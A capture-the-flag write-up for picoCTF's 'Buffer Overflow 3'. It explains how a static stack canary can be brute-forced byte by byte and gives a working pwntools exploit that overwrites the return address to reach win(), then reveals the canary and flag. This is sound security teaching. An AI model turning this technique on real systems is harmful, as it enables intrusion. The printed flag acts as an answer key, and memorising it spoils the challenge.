picoCTF
Buffer Overflow 3 [300 pts]
Challenge Description:
Do you think you can bypass the protection and get the flag?
It looks like Dr. Oswal added a stack canary to this program to protect against buffer overflows. You can view source here. And connect with it using:
nc saturn.picoctf.net [port #]
We’re given an ELF binary and a C source file. Here’s the C source:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
fflush(stdout);
exit(0);
}
fgets(buf,FLAGSIZE,f); // size bound read
puts(buf);
fflush(stdout);
}
char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'canary.txt' in this directory with your",
"own debugging canary.\n");
fflush(stdout);
exit(0);
}
fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
fflush(stdout);
exit(0);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
read_canary();
vuln();
return 0;
}
Firstly, it’s immediately clear this is a classic return-to-win challenge that requires us to override the return register with the address of the win function, as evidenced by the win()
function that is never called in the normal program execution.
Secondly, it seems that it’s added a stack canary to the stack. For those who don’t know, a stack canary is a random value set on a stack whose value is checked to ensure that a buffer overflow did not occur. Without knowledge of the canary, an attacker’s buffer overflow would change the stack canary and trigger a Stack Smashing Detected
warning.
However, while stack canaries are pretty intimidating, this one isn’t as intimidating. Why? Because stack canaries are typically randomly generated every time a program is executed. This one, however, is not randomly generated. Instead, it is read from canary.txt
every single time, meaning that it stays the same between program executions.
Initially, I thought I could brute force the stack canary. However, a quick calculation shows that it isn’t possible.
A stack canary of 4 bytes will have 256^4
possible values, i.e. 2^32
, which is equivalent to over a billion possible values – not very brute forceable.
Fortunately, there’s a clever trick we can use to reduce the number of iterations we have to make from 2^32
to just 4 * 2^8
.
To demonstrate this, I’ll show with an example instead.
Through dynamic analysis, we can first locate the offset of both the input and the canary on the stack.
First, I created a flag.txt
file filled with a fake flag and a canary.txt
file filled with 1111
for local testing purposes.
Then, I entered into GDB for vuln
and set a breakpoint at *vuln+0x192
, i.e. right after our input.
For my input, I entered 4
for the number of bytes to input and aaaa
for my input, just so I could find where my string was in the stack.
With x/100x $esp
, I quickly found both the location of both the input and the canary:
0xffce6cf0: 0x0804c000 0x0804c000 0x61616161 0x00000000 0xffce6d00: 0xffce6d48 0xf7f9eff4 0x00000001 0x0804c000 0xffce6d10: 0xffce6e34 0xf7fc2b80 0xffce6d48 0x08049480 0xffce6d20: 0x093151a0 0x00000001 0x00000004 0x093151a0 0xffce6d30: 0x00002710 0x0804c000 0x31313131 0x00000001
We can clearly observe that there is an offset of 0x40 bytes between them. Therefore, to overwrite the canary, we simply need add an offset of 0x40 bytes before our canary-guess input.
But, as we discussed before, it would be extremely inefficient to brute force the canary as is.
Fortunately, we don’t actually need to brute force all 4 bytes of the canary at the same time.
Let’s say I change my input to 0x41 a
’s. Then, the stack will look like this:
0xfff4feb0: 0x0804c000 0x0804c000 0x61616161 0x61616161 0xfff4fec0: 0x61616161 0x61616161 0x61616161 0x61616161 0xfff4fed0: 0x61616161 0x61616161 0x61616161 0x61616161 0xfff4fee0: 0x61616161 0x61616161 0x61616161 0x61616161 0xfff4fef0: 0x61616161 0x61616161 0x31313161 0x00000002
Take a look at the bytes storing the canary – only the last byte (technically the first byte since little endianness) was changed!
So, what if we test each byte of the canary at a time, starting with the first byte. Changing only the first byte, we can just continuously test if the program outputs Stack Smashing Detected
or not. Once it doesn’t we know that we have found the correct byte. The reason for this is, since we’re only changing the first byte, everything else remains the same, and therefore the stack canary will still be correct as long as the first byte is correct!
Once we find the first byte, we can move onto the second byte, simply remembering to append the found first byte to the end of the payload to keep that byte of the stack canary right. We can do this repeatedly to find all 4 bytes of the stack canary.
This program vulnerability demonstrates the weakness of static stack canaries. In fact, our simple solution here is enough to brute force a static/unchanging stack canary of any reasonable length of bytes!
That’s why current stack canaries are randomized for each program execution to ensure that attackers cannot just brute force it like this.
For this problem though, now that we know how to brute force the stack canary, all that’s left to do is locate the eip
(return address pointer) on the stack and overwrite it with the win()
function’s address so that, when the vuln()
function returns, it will return to the win()
function instead and give us the flag!
A simple GDB command of i f
gives us where the value of eip
is stored. A simple subtraction of the canary address from this address provides us the necessary offset to provide after the canary to overwrite the eip
. All that’s left now is to write an exploit program with pwntools to brute force the canary and return-to-win to get the flag!
from pwn import *
port = 58360
canary = b''
for i in range(4):
payload = b'a' * 64 + canary
for j in range(256):
send = payload + j.to_bytes(1, 'big')
conn = remote('saturn.picoctf.net', port)
conn.recv()
conn.sendline(str(65 + i).encode()) # num bytes to send
conn.recv()
conn.sendline(send) # payload
result = conn.recv()
conn.close()
if b'Smashing' not in result:
canary += j.to_bytes(1, 'big')
print(canary)
break
conn = remote('saturn.picoctf.net', port)
winpayload = b'a' * 64 + canary + b'a' * 0x10 + p32(0x08049336)
print(conn.recv())
conn.sendline(str(len(winpayload)).encode())
print(str(len(winpayload)).encode())
print(winpayload)
print(conn.recv())
conn.sendline(winpayload)
print(conn.recv())
print(conn.recv())
The canary turns out to be BiRd
and the flag turns out to be:
picoCTF{Stat1C_c4n4r13s_4R3_b4D_14b7d39c}